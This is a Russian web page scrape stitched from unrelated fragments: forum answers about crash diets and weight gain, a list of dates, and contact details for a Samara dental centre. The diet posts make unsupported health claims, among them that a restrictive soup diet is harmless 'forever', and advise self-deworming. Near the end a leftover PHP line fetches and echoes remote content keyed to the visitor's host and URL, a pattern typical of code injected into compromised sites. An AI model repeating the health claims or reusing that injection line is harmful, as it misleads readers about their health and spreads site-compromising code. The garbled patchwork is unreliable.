или на огурцах!!! (смысл тот же)
сидела 4 дня... .
похудела на 2 кило... .
рекомендую жиросжигательный супчик.. .
за неделю МИНУС 5 КИЛО!!! !
смысл тот же быстро надоедает,
зато на ней моно сидеть ВЕЧНО!!!! (так как он безвреден и не наносит
вред организму!!! )
вот все про него.... http://www.missfit.ru/diet/superhard/
рекомендую... кататься на велотренажере
(ну или заниматься другими физ. нагрузками... .
но чтоб было больше эффекта... в костюме-сауне
вот про него... http://www.missfit.ru/alltests/test-5/
эффект заметен (по крайней мере у меня после часовой езды
на велотренажере в этом костюме -300 грам точно, стоит не дорого. .
моно найти за 500 рублей)

От каких продуктов человек быстрее всего набирает вес?

Те, которые содержат углеводы. А человека надо проверить - сильная потеря веса плохой знак...

Когда гормона щитовидной железы больше, чем нужно, - человек покрывается потом, не может уснуть, у него ускоряется сердцебиение, может очень активно худеть - иногда теряет около 10 кг за месяц.

Гельментов пусть выгонит.

Нужно есть пельмени с маслом и сметаной - вкусно и очень сытно!

Мучное

Булочки, чай с сахаром, бросить курить, провериться у врача

По аналезе надо определить каких гармонов меньше на щитовидку провериться. на всякий пожарный себя проглистогонить и пить аскорбинку в дражже . иногда не правильное питание не позволяет поправиться . например если кушать в начале фрукты потом еду то насыщается кровь глюкозой и не берет с других продуктов магний калий кальций

Гармон щитовидной железы способствующий похудению
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта